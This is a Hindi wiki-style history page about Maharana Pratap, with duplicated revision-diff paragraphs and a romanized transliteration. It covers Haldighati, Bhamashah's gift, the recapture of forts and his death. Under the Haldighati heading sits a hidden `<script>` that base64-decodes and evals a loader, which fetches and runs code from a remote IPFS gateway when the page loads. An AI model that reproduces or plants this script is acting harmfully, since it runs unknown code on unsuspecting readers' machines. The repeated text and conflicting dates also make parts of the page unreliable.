लिखी है। उनके अनुसार बादशाह अकबर वेष बदलकर मेले में इसलिए जाता था कि उसे वस्तुओं के भाव-ताव मालूम हो सकें।
 
====भामाशाह द्वारा प्रताप की शक्तियाँ जाग्रत होना====
 
====भामाशाह द्वारा प्रताप की शक्तियाँ जाग्रत होना====
 
पृथ्वीराज का पत्र पढ़ने के बाद राणा प्रताप ने अपने स्वाभिमान की रक्षा करने का निर्णय कर लिया। परन्तु मौजूदा परिस्थितियों में पर्वतीय स्थानों में रहते हुए मुग़लों का प्रतिरोध करना सम्भव न था। अतः उसने रक्तरंजित [[चित्तौड़]] और [[मेवाड़]] को छोड़कर किसी दूरवर्ती स्थान पर जाने का विचार किया। उसने तैयारियाँ शुरू कीं। सभी सरदार भी उसके साथ चलने को तैयार हो गए। चित्तौड़ के उद्धार की आशा अब उनके हृदय से जाती रही थी। अतः प्रताप ने [[सिंध नदी]] के किनारे पर स्थित सोगदी राज्य की तरफ़ बढ़ने की योजना बनाई ताकि बीच का [[मरुस्थल]] उसके शत्रु को उससे दूर रखे। [[अरावली]] को पार कर जब प्रताप मरुस्थल के किनारे पहुँचा ही था कि एक आश्चर्यजनक घटना ने उसे पुनः वापस लौटने के लिए विवश कर दिया। मेवाड़ के वृद्ध मंत्री भामाशाह ने अपने जीवन में काफ़ी सम्पत्ति अर्जित की थी। वह अपनी सम्पूर्ण सम्पत्ति के साथ प्रताप की सेवा में आ उपस्थित हुआ और उससे मेवाड़ के उद्धार की याचना की। यह सम्पत्ति इतनी अधिक थी कि उससे वर्षों तक 25,000 सैनिकों का खर्चा पूरा किया जा सकता था।<ref>डा. ओझा और डा. गोपीनाथ शर्मा-ये दोनों ही इस कथन को भी कल्पित मानते हैं कि भामाशाह ने अपनी निजी सम्पत्ति प्रताप को दे थी। उनके मतानुसार यह राजकीय द्रव्य था अथवा [[मालवा]] से लूटकर लाया हुआ धन था।</ref> भामाशाह का नाम मेवाड़ के उद्धारकर्ताओं के रूप में आज भी सुरक्षित है। भामाशाह के इस अपूर्व त्याग से प्रताप की शक्तियाँ फिर से जागृत हो उठीं।  
 
पृथ्वीराज का पत्र पढ़ने के बाद राणा प्रताप ने अपने स्वाभिमान की रक्षा करने का निर्णय कर लिया। परन्तु मौजूदा परिस्थितियों में पर्वतीय स्थानों में रहते हुए मुग़लों का प्रतिरोध करना सम्भव न था। अतः उसने रक्तरंजित [[चित्तौड़]] और [[मेवाड़]] को छोड़कर किसी दूरवर्ती स्थान पर जाने का विचार किया। उसने तैयारियाँ शुरू कीं। सभी सरदार भी उसके साथ चलने को तैयार हो गए। चित्तौड़ के उद्धार की आशा अब उनके हृदय से जाती रही थी। अतः प्रताप ने [[सिंध नदी]] के किनारे पर स्थित सोगदी राज्य की तरफ़ बढ़ने की योजना बनाई ताकि बीच का [[मरुस्थल]] उसके शत्रु को उससे दूर रखे। [[अरावली]] को पार कर जब प्रताप मरुस्थल के किनारे पहुँचा ही था कि एक आश्चर्यजनक घटना ने उसे पुनः वापस लौटने के लिए विवश कर दिया। मेवाड़ के वृद्ध मंत्री भामाशाह ने अपने जीवन में काफ़ी सम्पत्ति अर्जित की थी। वह अपनी सम्पूर्ण सम्पत्ति के साथ प्रताप की सेवा में आ उपस्थित हुआ और उससे मेवाड़ के उद्धार की याचना की। यह सम्पत्ति इतनी अधिक थी कि उससे वर्षों तक 25,000 सैनिकों का खर्चा पूरा किया जा सकता था।<ref>डा. ओझा और डा. गोपीनाथ शर्मा-ये दोनों ही इस कथन को भी कल्पित मानते हैं कि भामाशाह ने अपनी निजी सम्पत्ति प्रताप को दे थी। उनके मतानुसार यह राजकीय द्रव्य था अथवा [[मालवा]] से लूटकर लाया हुआ धन था।</ref> भामाशाह का नाम मेवाड़ के उद्धारकर्ताओं के रूप में आज भी सुरक्षित है। भामाशाह के इस अपूर्व त्याग से प्रताप की शक्तियाँ फिर से जागृत हो उठीं।  
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महाराणा प्रताप ने वापस आकर राजपूतों की एक अच्छी सेना बना ली, जबकि उसके शत्रुओं को इसकी भनक भी नहीं मिल पाई। ऐसे में प्रताप ने [[मुग़ल]] सेनापति शाहबाज़ ख़ाँ को देवीर नामक स्थान पर अचानक आ घेरा। मुग़लों ने जमकर सामना किया, परन्तु वे परास्त हुए। बहुत से मुग़ल मारे गए और बाक़ी पास की छावनी की ओर भागे। राजपूतों ने आमेर तक उनका पीछा किया और उस मुग़ल छावनी के अधिकांश सैनिकों को भी मौत के घाट उतार दिया गया। इसी समय कमलमीर पर आक्रमण किया गया और वहाँ का सेनानायक अब्दुल्ला मारा गया और दुर्ग पर प्रताप का अधिकार हो गया। थोड़े ही दिनों में एक के बाद एक करके बत्तीस दुर्गों पर अधिकार कर लिया गया और दुर्गों में नियुक्त मुग़ल सैनिकों को मौत के घाट उतार दिया गया। [[संवत]] 1586 (1530 ई.) में चित्तौड़, [[अजमेर]] और मांडलगढ़ को छोड़कर सम्पूर्ण मेवाड़ पर प्रताप ने अपना पुनः अधिकार जमा लिया।<ref>कर्नल टॉड ने जो तिथि दी है, वह ग़लत है। 1576 ई. में तो [[हल्दीघाटी का युद्ध]] ही लड़ा गया था। अतः यह 1580 ई. के बाद का समय होना चाहिए।</ref> राजा [[मानसिंह]] को उसके देशद्रोह का बदला देने के लिए प्रताप ने आमेर राज्य के समृद्ध नगर [[मालपुरा]] को लूटकर नष्ट कर दिया। उसके बाद प्रताप [[उदयपुर]] की तरफ़ बढ़ा। मुग़ल सेना बिना युद्ध लड़े ही वहाँ से चली गई और [[उदयपुर]] पर प्रताप का अधिकार हो गया। अकबर ने थोड़े समय के लिए युद्ध बन्द कर दिया।
 
महाराणा प्रताप ने वापस आकर राजपूतों की एक अच्छी सेना बना ली, जबकि उसके शत्रुओं को इसकी भनक भी नहीं मिल पाई। ऐसे में प्रताप ने [[मुग़ल]] सेनापति शाहबाज़ ख़ाँ को देवीर नामक स्थान पर अचानक आ घेरा। मुग़लों ने जमकर सामना किया, परन्तु वे परास्त हुए। बहुत से मुग़ल मारे गए और बाक़ी पास की छावनी की ओर भागे। राजपूतों ने आमेर तक उनका पीछा किया और उस मुग़ल छावनी के अधिकांश सैनिकों को भी मौत के घाट उतार दिया गया। इसी समय कमलमीर पर आक्रमण किया गया और वहाँ का सेनानायक अब्दुल्ला मारा गया और दुर्ग पर प्रताप का अधिकार हो गया। थोड़े ही दिनों में एक के बाद एक करके बत्तीस दुर्गों पर अधिकार कर लिया गया और दुर्गों में नियुक्त मुग़ल सैनिकों को मौत के घाट उतार दिया गया। [[संवत]] 1586 (1530 ई.) में चित्तौड़, [[अजमेर]] और मांडलगढ़ को छोड़कर सम्पूर्ण मेवाड़ पर प्रताप ने अपना पुनः अधिकार जमा लिया।<ref>कर्नल टॉड ने जो तिथि दी है, वह ग़लत है। 1576 ई. में तो [[हल्दीघाटी का युद्ध]] ही लड़ा गया था। अतः यह 1580 ई. के बाद का समय होना चाहिए।</ref> राजा [[मानसिंह]] को उसके देशद्रोह का बदला देने के लिए प्रताप ने आमेर राज्य के समृद्ध नगर [[मालपुरा]] को लूटकर नष्ट कर दिया। उसके बाद प्रताप [[उदयपुर]] की तरफ़ बढ़ा। मुग़ल सेना बिना युद्ध लड़े ही वहाँ से चली गई और [[उदयपुर]] पर प्रताप का अधिकार हो गया। अकबर ने थोड़े समय के लिए युद्ध बन्द कर दिया।
  
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सम्पूर्ण जीवन युद्ध करके और भयानक कठिनाइयों का सामना करके प्रताप ने जिस तरह से अपना जीवन व्यतीत किया, उसकी प्रशंसा इस संसार से मिट न सकेगी। परन्तु इन सबके परिणामस्वरूप प्रताप में समय से पहले ही बुढ़ापा आ गया। उसने जो प्रतिज्ञा की थी, उसे अन्त तक निभाया। राजमहलों को छोड़कर प्रताप ने [[पिछोला झील|पिछोला तालाब]] के निकट अपने लिए कुछ झोपड़ियाँ बनवाई थीं ताकि [[वर्षा]] में आश्रय लिया जा सके। इन्हीं झोपड़ियों में प्रताप ने सपरिवार सहित अपना जीवन व्यतीत किया। अब जीवन का अन्तिम समय आ पहुँचा था। प्रताप ने चित्तौड़ के उद्धार की प्रतीज्ञा की थी, परन्तु उसमें सफलता न मिली। फिर भी, उसने अपनी थोड़ी सी सेना की सहायता से मुग़लों की विशाल सेना को इतना अधिक परेशान किया कि अन्त में अकबर को युद्ध बन्द कर देना पड़ा।
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सम्पूर्ण जीवन युद्ध करके और भयानक कठिनाइयों का सामना करके प्रताप ने जिस तरह से अपना जीवन व्यतीत किया, उसकी प्रशंसा इस संसार से मिट न सकेगी। परन्तु इन सबके परिणामस्वरूप प्रताप में समय से पहले ही बुढ़ापा आ गया। उसने जो प्रतिज्ञा की थी, उसे अन्त तक निभाया। राजमहलों को छोड़कर प्रताप ने [[पिछोला झील|पिछोला तालाब]] के निकट अपने लिए कुछ झोपड़ियाँ बनवाई थीं ताकि [[वर्षा]] में आश्रय लिया जा सके। इन्हीं झोपड़ियों में प्रताप ने सपरिवार सहित अपना जीवन व्यतीत किया। अब जीवन का अन्तिम समय आ पहुँचा था। प्रताप ने चित्तौड़ के उद्धार की प्रतिज्ञा की थी, परन्तु उसमें सफलता न मिली। फिर भी, उसने अपनी थोड़ी सी सेना की सहायता से मुग़लों की विशाल सेना को इतना अधिक परेशान किया कि अन्त में अकबर को युद्ध बन्द कर देना पड़ा।
 
==वीरता के परिचायक==
 
==वीरता के परिचायक==
 
महाराणा प्रताप ने एक प्रतिष्ठित कुल के मान-सम्मान और उसकी उपाधि को प्राप्त किया। परन्तु उसके पास न तो राजधानी थी और न ही वित्तीय साधन। बार-बार की पराजयों ने उसके स्व-बन्धुओं और जाति के लोगों को निरुत्साहित कर दिया था। फिर भी उसके पास अपना जातीय स्वाभिमान था। उसने सत्तारूढ़ होते ही [[चित्तौड़]] के उद्धार, कुल के सम्मान की पुनर्स्थापना तथा उसकी शक्ति को प्रतिष्ठित करने की तरफ़ अपना ध्यान केन्द्रित किया। इस ध्येय से प्रेरित होकर वह अपने प्रबल शत्रु के विरुद्ध जुट सका। उसने इस बात की चिन्ता नहीं की कि परिस्थितियाँ उसके कितने प्रतिकूल हैं। उसका चतुर विरोधी एक सुनिश्चित नीति के द्वारा उसके ध्येय का परास्त करने में लगा हुआ था। मुग़ल प्रताप के धर्म और [[रक्त]] बंधुओं को ही उसके विरोध में खड़ा करने में जुटा था। [[मारवाड़]], [[आमेर]], [[बीकानेर]] और [[बूँदी राजस्थान|बूँदी]] के राजा लोग अकबर की सार्वभौम सत्ता के सामने मस्तक झुका चुके थे। इतना ही नहीं, प्रताप का सगा भाई 'सागर'<ref>'कन्धार' नामक [[दुर्ग]] सागर के अधिकार में था। उसके वंशज 'सागरौत' कहलाये</ref> भी उसका साथ छोड़कर शत्रु पक्ष से जा मिला और अपने इस विश्वासघात की क़ीमत उसे अपने कुल की राजधानी और उपाधि के रूप में प्राप्त हुई।
 
महाराणा प्रताप ने एक प्रतिष्ठित कुल के मान-सम्मान और उसकी उपाधि को प्राप्त किया। परन्तु उसके पास न तो राजधानी थी और न ही वित्तीय साधन। बार-बार की पराजयों ने उसके स्व-बन्धुओं और जाति के लोगों को निरुत्साहित कर दिया था। फिर भी उसके पास अपना जातीय स्वाभिमान था। उसने सत्तारूढ़ होते ही [[चित्तौड़]] के उद्धार, कुल के सम्मान की पुनर्स्थापना तथा उसकी शक्ति को प्रतिष्ठित करने की तरफ़ अपना ध्यान केन्द्रित किया। इस ध्येय से प्रेरित होकर वह अपने प्रबल शत्रु के विरुद्ध जुट सका। उसने इस बात की चिन्ता नहीं की कि परिस्थितियाँ उसके कितने प्रतिकूल हैं। उसका चतुर विरोधी एक सुनिश्चित नीति के द्वारा उसके ध्येय का परास्त करने में लगा हुआ था। मुग़ल प्रताप के धर्म और [[रक्त]] बंधुओं को ही उसके विरोध में खड़ा करने में जुटा था। [[मारवाड़]], [[आमेर]], [[बीकानेर]] और [[बूँदी राजस्थान|बूँदी]] के राजा लोग अकबर की सार्वभौम सत्ता के सामने मस्तक झुका चुके थे। इतना ही नहीं, प्रताप का सगा भाई 'सागर'<ref>'कन्धार' नामक [[दुर्ग]] सागर के अधिकार में था। उसके वंशज 'सागरौत' कहलाये</ref> भी उसका साथ छोड़कर शत्रु पक्ष से जा मिला और अपने इस विश्वासघात की क़ीमत उसे अपने कुल की राजधानी और उपाधि के रूप में प्राप्त हुई।
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महाराणा प्रताप प्रजा के [[हृदय]] पर शासन करने वाले थे। एक आज्ञा हुई और विजयी सेना ने देखा उसकी विजय व्यर्थ है। चित्तौड़ भस्म हो गया, खेत उजड़ गये, कुएँ भर दिये गये और ग्राम के लोग जंगल एवं पर्वतों में अपने समस्त पशु एवं सामग्री के साथ अदृश्य हो गये। शत्रु के लिये इतना विकट उत्तर, यह उस समय महाराणा की अपनी सूझ है। अकबर के उद्योग में राष्ट्रीयता का स्वप्न देखने वालों को इतिहासकार [[बदायूँनी|बदायूँनी आसफ ख़ाँ]] के ये शब्द स्मरण कर लेने चाहिये- "किसी की ओर से सैनिक क्यों न मरे, थे वे [[हिन्दू]] ही और प्रत्येक स्थिति में विजय [[इस्लाम]] की ही थी।" यह कूटनीति थी अकबर की और महाराणा इसके समक्ष अपना राष्ट्रगौरव लेकर अडिग भाव से उठे थे।
 
महाराणा प्रताप प्रजा के [[हृदय]] पर शासन करने वाले थे। एक आज्ञा हुई और विजयी सेना ने देखा उसकी विजय व्यर्थ है। चित्तौड़ भस्म हो गया, खेत उजड़ गये, कुएँ भर दिये गये और ग्राम के लोग जंगल एवं पर्वतों में अपने समस्त पशु एवं सामग्री के साथ अदृश्य हो गये। शत्रु के लिये इतना विकट उत्तर, यह उस समय महाराणा की अपनी सूझ है। अकबर के उद्योग में राष्ट्रीयता का स्वप्न देखने वालों को इतिहासकार [[बदायूँनी|बदायूँनी आसफ ख़ाँ]] के ये शब्द स्मरण कर लेने चाहिये- "किसी की ओर से सैनिक क्यों न मरे, थे वे [[हिन्दू]] ही और प्रत्येक स्थिति में विजय [[इस्लाम]] की ही थी।" यह कूटनीति थी अकबर की और महाराणा इसके समक्ष अपना राष्ट्रगौरव लेकर अडिग भाव से उठे थे।
 
==मृत्यु==
 
==मृत्यु==
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[[अकबर]] के युद्ध बन्द कर देने से प्रताप को महादुःख हुआ। कठोर उद्यम और परिश्रम सहन कर उसने हज़ारों कष्ट उठाये थे, परन्तु शत्रुओं से चित्तौड़ का उद्धार न कर सके। वह एकाग्रचित्त से चित्तौड़ के उस ऊँचे परकोटे और जयस्तम्भों को निहारा करते थे और अनेक विचार उठकर हृदय को डाँवाँडोल कर देते थे। ऐसे में ही एक दिन प्रताप एक साधारण कुटी में लेटे हुए काल की कठोर आज्ञा की प्रतीज्ञा कर रहे थे। उनके चारों तरफ़ उनके विश्वासी सरदार बैठे हुए थे। तभी प्रताप ने एक लम्बी साँस ली। सलूम्बर के सामंन्त ने कातर होकर पूछा, "महाराज! ऐसे कौन से दारुण दुःख ने आपको दुःखित कर रखा है और अन्तिम समय में आपकी शान्ति को भंग कर रहा है।" प्रताप का उत्तर था "सरदार जी! अभी तक प्राण अटके हुए हैं, केवल एक ही आश्वासन की वाणी सुनकर यह अभी सुखपूर्वक देह को छोड़ जायेगा। यह वाणी आप ही के पास है।"
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[[अकबर]] के युद्ध बन्द कर देने से प्रताप को महा दुःख हुआ। कठोर उद्यम और परिश्रम सहन कर उसने हज़ारों कष्ट उठाये थे, परन्तु शत्रुओं से चित्तौड़ का उद्धार न कर सके। वह एकाग्रचित्त से चित्तौड़ के उस ऊँचे परकोटे और जयस्तम्भों को निहारा करते थे और अनेक विचार उठकर हृदय को डाँवाडोल कर देते थे। ऐसे में ही एक दिन प्रताप एक साधारण कुटी में लेटे हुए काल की कठोर आज्ञा की प्रतीज्ञा कर रहे थे। उनके चारों तरफ़ उनके विश्वासी सरदार बैठे हुए थे। तभी प्रताप ने एक लम्बी साँस ली। सलूम्बर के सामंन्त ने कातर होकर पूछा, "महाराज! ऐसे कौन से दारुण दुःख ने आपको दुःखित कर रखा है और अन्तिम समय में आपकी शान्ति को भंग कर रहा है।" प्रताप का उत्तर था "सरदार जी! अभी तक प्राण अटके हुए हैं, केवल एक ही आश्वासन की वाणी सुनकर यह अभी सुखपूर्वक देह को छोड़ जायेगा। यह वाणी आप ही के पास है।"
  
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"आप सब लोग मेरे सम्मुख प्रतिज्ञा करें की जीवित रहते अपनी मातृभूमि किसी भी भाँति तुर्कों के हाथों में नहीं सौंपेंगे। पुत्र [[राणा अमर सिंह]] हमारे पूर्वजों के गौरव की रक्षा नहीं कर सकेगा। वह मुग़लों के ग्रास से मातृभूमि को नहीं बचा सकेगा। वह विलासी है, वह कष्ट नहीं झेल सकेगा।" इसके बाद राणा ने अमरसिंह को बातें सुनाते हुए कहा, "एक दिन उस नीचि कुटिया में प्रवेश करते समय अमरसिंह अपने सिर से पगड़ी उतारना भूल गया था। द्वार के एक बाँस से टकराकर उसकी पगड़ी नीचे गिर गई। दूसरे दिन उसने मुझसे कहा कि यहाँ पर बड़े-बड़े महल बनवा दीजिए।" कुछ क्षण चुप रहकर प्रताप ने कहा, "इन कुटियों के स्थान पर बड़े-बड़े रमणीक महल बनेंगे, मेवाड़ की दुरवस्था भूलकर अमरसिंह यहाँ पर अनेक प्रकार के भोग-विलास करेगा। अमर के विलासी होने पर मातृभूमि की वह स्वाधीनता जाती रहेगी, जिसके लिए मैंने बराबर पच्चीस वर्ष तक कष्ट उठाए, सभी भाँति की सुख-सुविधाओं को छोड़ा। वह इस गौरव की रक्षा न कर सकेगा और तुम लोग-तुम सब उसके अनर्थकारी उदाहरण का अनुसरण करके मेवाड़ के पवित्र यश में कलंक लगा लोगे।" प्रताप का वाक्य पूरा होते ही समस्त सरदारों ने उससे कहा, "महाराज! हम लोग [[बप्पा रावल]] के पवित्र सिंहासन की शपथ करते हैं कि जब तक हम में से एक भी जीवित रहेगा, उस दिन तक कोई तुर्क [[मेवाड़]] भूमि पर अधिकार न कर सकेगा। जब तक मेवाड़ भूमि की पूर्व-स्वाधीनता का पूरी तरह उद्धार हो नहीं पायेगा, तब तक हम लोग इन्हीं कुटियों में निवास करेंगे।" इस संतोषजनक वाणी को सुनते ही प्रताप के प्राण निकल गए।<ref>प्रताप का स्वर्गवास 19 जनवरी, 1597 को हुआ था।</ref>  
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"आप सब लोग मेरे सम्मुख प्रतिज्ञा करें कि जीवित रहते अपनी मातृभूमि किसी भी भाँति तुर्कों के हाथों में नहीं सौंपेंगे। पुत्र [[राणा अमर सिंह]] हमारे पूर्वजों के गौरव की रक्षा नहीं कर सकेगा। वह मुग़लों के ग्रास से मातृभूमि को नहीं बचा सकेगा। वह विलासी है, वह कष्ट नहीं झेल सकेगा।" इसके बाद राणा ने अमरसिंह को बातें सुनाते हुए कहा, "एक दिन उस नीचि कुटिया में प्रवेश करते समय अमरसिंह अपने सिर से पगड़ी उतारना भूल गया था। द्वार के एक बाँस से टकराकर उसकी पगड़ी नीचे गिर गई। दूसरे दिन उसने मुझसे कहा कि यहाँ पर बड़े-बड़े महल बनवा दीजिए।" कुछ क्षण चुप रहकर प्रताप ने कहा, "इन कुटियों के स्थान पर बड़े-बड़े रमणीक महल बनेंगे, मेवाड़ की दुरवस्था भूलकर अमरसिंह यहाँ पर अनेक प्रकार के भोग-विलास करेगा। अमर के विलासी होने पर मातृभूमि की वह स्वाधीनता जाती रहेगी, जिसके लिए मैंने बराबर पच्चीस वर्ष तक कष्ट उठाए, सभी भाँति की सुख-सुविधाओं को छोड़ा। वह इस गौरव की रक्षा न कर सकेगा और तुम लोग-तुम सब उसके अनर्थकारी उदाहरण का अनुसरण करके मेवाड़ के पवित्र यश में कलंक लगा लोगे।" प्रताप का वाक्य पूरा होते ही समस्त सरदारों ने उससे कहा, "महाराज! हम लोग [[बप्पा रावल]] के पवित्र सिंहासन की शपथ करते हैं कि जब तक हम में से एक भी जीवित रहेगा, उस दिन तक कोई तुर्क [[मेवाड़]] भूमि पर अधिकार न कर सकेगा। जब तक मेवाड़ भूमि की पूर्व-स्वाधीनता का पूरी तरह उद्धार हो नहीं पायेगा, तब तक हम लोग इन्हीं कुटियों में निवास करेंगे।" इस संतोषजनक वाणी को सुनते ही प्रताप के प्राण निकल गए।<ref>प्रताप का स्वर्गवास 19 जनवरी, 1597 को हुआ था।</ref>  
  
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इस प्रकार एक ऐसे [[राजपूत]] के जीवन का अवसान हो गया, जिसकी स्मृति आज भी प्रत्येक सीसोदिया को प्रेरित कर रही है। इस संसार में जितने दिनों तक वीरता का आदर रहेगा, उतने ही दिन तक प्रताप की वीरता, माहात्म्य और गौरव संसार के नेत्रों के सामने अचल भाव से विराजमान रहेगा। उतने दिन तक वह 'हल्दीघाट मेवाड़ की थर्मोपोली' और उसके अंतर्गत देवीर क्षेत्र 'मेवाड़ का मैराथन' नाम से पुकारा जाया करेगा।
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इस प्रकार एक ऐसे [[राजपूत]] के जीवन का अवसान हो गया, जिसकी स्मृति आज भी प्रत्येक सिसोदिया को प्रेरित कर रही है। इस संसार में जितने दिनों तक वीरता का आदर रहेगा, उतने ही दिन तक प्रताप की वीरता, माहात्म्य और गौरव संसार के नेत्रों के सामने अचल भाव से विराजमान रहेगा। उतने दिन तक वह 'हल्दीघाट मेवाड़ की थर्मोपोली' और उसके अंतर्गत देवीर क्षेत्र 'मेवाड़ का मैराथन' नाम से पुकारा जाया करेगा।
 
;पंडित नरेन्द्र मिश्र की कविता इस प्रकार है-
 
;पंडित नरेन्द्र मिश्र की कविता इस प्रकार है-
 
{| class="bharattable" border="1"  
 
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Revision as of 09:33, 27 January 2013

maharana pratap vishay soochi
maharana pratap    parichay    rajyabhishek    pratap aur chetak    haldighati ka yuddh    shaktisianh dvara pratap ki raksha    manasianh se bheant    pratap ki pratijna    kathor jivan-yapan    akabar dvara prashansa    prithviraj dvara rana ke svabhiman ki jagriti    durgoan par adhikar    rana ki mrityu    virata ke parichayak
maharana pratap
poora nam ‌‌‌‌‌‌‌maharana pratap
janm 9 mee, 1540 ee.
janm bhoomi rajasthan, kumbhalagadh
mrityu tithi 29 janavari, 1597 ee.
pita/mata (pita) maharana udayasianh, (mata) rani jivat kanvar
rajy sima meva d
shasan kal 1568–1597 ee.
sha. avadhi 29 varsh
dharmik manyata hiandoo dharm
yuddh haldighati ka yuddh
rajadhani udayapur
poorvadhikari maharana udayasianh
uttaradhikari rana amar sianh
rajagharana rajapootana
any janakari maharana pratap ke pas ek sabase priy gho da tha, jisaka nam 'chetak' tha.

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‌‌‌‌‌‌‌maharana pratap (aangrezi: Maharana Pratap, janm: 9 mee, 1540 ee, - mrityu: 29 janavari, 1597 ee.)[1] udayapur, meva d mean sisodiya rajavansh ke raja the. vah tithi dhany hai, jab meva d ki shaury-bhoomi par meva d-mukut mani rana pratap ka janm hua. pratap ka nam itihas mean virata aur dridh pran ke liye amar hai. maharana pratap ki jayanti vikrami samvath kॅlandar ke anusar prativarsh jyeshth, shukl paksh tritiya ko manaee jati hai.

jivan parichay

rajasthan ke kumbhalagadh mean pratap ka janm maharana udayasianh evan mata rani jivat kanvar ke ghar hua tha. bappa raval ke kul ki akshunn kirti ki ujjval pataka, rajapootoan ki an evan shaury ka yah puny pratik, rana saanga ka vah pavan pautr (vikram sanvat 1628 phalgun shukl 15) tarikh 1 march san 1573 ee. ko sianhasanasin hua. shaury ki moorti pratap ekaki the. apani praja ke sath aur ekaki hi unhoanne jo dharm evan svadhinata ke liye jyotirmay balidan kiya, vah vishv mean sada paratantrata aur adharm ke viruddh sangram karane vale, manadhani, gauravashil manavoan ke liye mashal siddh hoga.

  • 'dharm rahega aur prithvi bhi rahegi, (par) mugal-samrajy ek din nasht ho jayaga. at: he rana! vishvambhar bhagavan ke bharose apane nishchay ko atal rakhana.' - abdurrahim khan-e-khana[2]
  • maharana ka vah nishchay lokavishrut hai - 'bhagavan ekaliang ki shapath hai, pratap ke is mukh se akabar turk hi kahalayega. maian sharir rahate usaki adhinata svikar karake use badashah nahian kahooanga. soory jahaan ugata hai, vahaan poorv mean hi ugega. soory ke pashchim mean ugane ke saman pratap ke mukh se akabar ko badashah nikalana asambhav hai.[3]
  • samrat akabar ki kootaniti vyapak thi. rajy ko jis prakar unhoanne rajapoot nareshoan se sandhi evan vaivahik sambandh dvara nirbhay evan vistrit kar liya tha, dharm ke sambandh mean bhi ve apane 'din-e-ilahi' ke dvara hindoo dharm ki shraddha thakit karane ke prayas mean nahian the, kahana kathin hai. aj koee kuchh kahe, kiantu us yug mean sachchi rashtriyata thi. hiandutv aur usaki ujjval dhvaja, garvapoorvak uthane vala ek hi amar senani tha- pratap. akabar ka shakti sagar is aravali ke shikhar se vyarth hi takarata raha- nahian jhuka.
  • akabar ke mahasenapati raja manasianh, sholapur vijay karake laut rahe the. uday sagar par maharana ne unake svagat ka prabandh kiya. hindoo naresh ke yahaan bhala atithi ka satkar n hota, kiantu maharana pratap aise rajapoot ke sath baithakar bhojan kaise kar sakate the, jisaki bua mugal ant:pur mean ho. manasianh ko bat samajhane mean kathinaee nahian huee. apaman se jale ve dilli pahuanche. unhoanne sainy sajjit karake chittau d par akraman kar diya.

haldighati

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

rajapootane ki pavan balidan-bhoomi ke samakaksh, vishv mean itana pavitr balidan sthal koee nahian. us shaury evan tez ki bhavy gatha se itihas ke prishth range haian. bhiloan ka apane desh aur naresh ke liye vah amar balidan rajapoot viroan ki vah tejasvita aur maharana ka vah lokottar parakram itihas ka, virakavy ka param upajivy hai. meva d ke ushn rakt ne shravan sanvat 1633 vikrami mean haldighati ka kan-kan lal kar diya. apar shatru sena ke sammukh tho de-se rajapoot aur bhil sainik kab tak tikate? maharana ko pichhe hatana p da aur unaka priy ashv chetak, jisane unhean nirapad pahuanchane mean itana shram kiya ki ant mean vah sada ke liye apane svami ke charanoan mean gir p da. [[chitr:Haldighati-Udaipur.jpg|thumb|300px|left|maharana pratap ki pratima, haldighati, udayapur]] dilli ka uttaradhikari yuvaraj 'salim' (bad mean jahaangir) mugal sena ke sath yuddh ke lie chadh aya. usake sath raja manasianh aur sagaraji ka jatibhrasht putr mohabat khaan bhi tha. pratap ne apane parvatoan aur baees hazar rajapootoan mean vishvas rakhate hue akabar ke putr ka samana kiya. aravali ke pashchim chhor tak shahi sena ko kisi prakar ke virodh ka samana nahian karana p da, parantu isake age ka marg pratap ke niyantran mean tha.

pratap apani nee rajadhani ke pashchim ki or paha diyoan mean a date. is ilaqe ki lambaee lagabhag 80 mil (lagabhag 128 ki.mi.) thi aur itani hi chau daee thi. sara ilaqa parvatoan aur vanoan se ghira hua tha. bich-bich mean kee chhoti-chhoti nadiyaan bahati thian. rajadhani ki taraf jane vale marg itane tang aur durgam the ki b di kathinaee se do ga diyaan a-ja sakati thian. us sthan ka nam haldighati tha, jisake dvar par kh de parvat ko laanghakar usamean pravesh karana sankat ko mol lena tha. unake sath vishvasi bhil log bhi dhanush aur ban lekar dat ge. bhiloan ke pas b de-b de pattharoan ke dher p de the. jaise hi shatru samane se ayega, vaise hi pattharoan ko ludhakakar unake sir ko to dane ki yojana thi.

pratap aur jahaangir ka sangharsh

haldighati ke is pravesh dvar par apane chune hue sainikoan ke sath pratap shatru ki pratiksha karane lage. donoan or ki senaoan ka samana hote hi bhishan roop se yuddh shuroo ho gaya aur donoan taraf ke shooravir yoddha ghayal hokar zamin par girane lage. pratap apane gho de par savar hokar drutagati se shatru ki sena ke bhitar pahuanch gaye aur rajapootoan ke shatru manasianh ko khojane lage. vah to nahian mila, parantu pratap us jagah par pahuanch gaye, jahaan par 'salim' (jahaangir) apane hathi par baitha hua tha. pratap ki talavar se salim ke kee aangarakshak mare ge aur yadi pratap ke bhale aur salim ke bich mean lohe ki moti chadar vala hauda nahian hota to akabar apane uttaradhikari se hath dho baithata. pratap ke gho de chetak ne apane svami ki ichchha ko bhaanpakar poora prayas kiya aur tamam aitihasik chitroan mean salim ke hathi ke sooan d par chetak ka ek utha hua pair aur pratap ke bhale dvara mahavat ka chhati ka chhalani hona aankit kiya gaya hai.[4] mahavat ke mare jane par ghayal hathi salim sahit yuddh bhoomi se bhag kh da hua.

rajapootoan ka balidan

is samay yuddh atyant bhayanak ho utha tha. salim par pratap ke akraman ko dekhakar asankhy mugal sainik usi taraf badhe aur pratap ko gherakar charoan taraf se prahar karane lage. pratap ke sir par meva d ka rajamukut laga hua tha. isalie mugal sainik usi ko nishana banakar var kar rahe the. rajapoot sainik bhi use bachane ke lie pran hatheli par rakhakar sangharsh kar rahe the. parantu dhire-dhire pratap sankat mean phansata ja rahe the. sthiti ki gambhirata ko parakhakar 'jhala saradar' ne svamibhakti ka ek apoorv adarsh prastut karate hue apane pranoan ka balidan kar diya. jhala saradar 'mannaji' tezi ke sath age badha aur pratap ke sir se mukut utar kar apane sir par rakh liya aur tezi ke sath kuchh doori par jakar ghamasan yuddh karane laga. mugal sainik use hi pratap samajhakar us par toot p de aur pratap ko yuddh bhoomi se door nikal jane ka avasar mil gaya. usaka sara sharir aganit ghavoan se lahooluhan ho chuka tha. yuddhabhoomi se jate-jate pratap ne mannaji ko marate dekha. rajapootoan ne bahaduri ke sath mugaloan ka muqabala kiya, parantu maidani topoan tatha bandookadhariyoan se susajjit shatru ki vishal sena ke samane samoocha parakram nishphal raha. yuddhabhoomi par upasthit baees hazar rajapoot sainikoan mean se keval ath hazar jivit sainik yuddhabhoomi se kisi prakar bachakar nikal 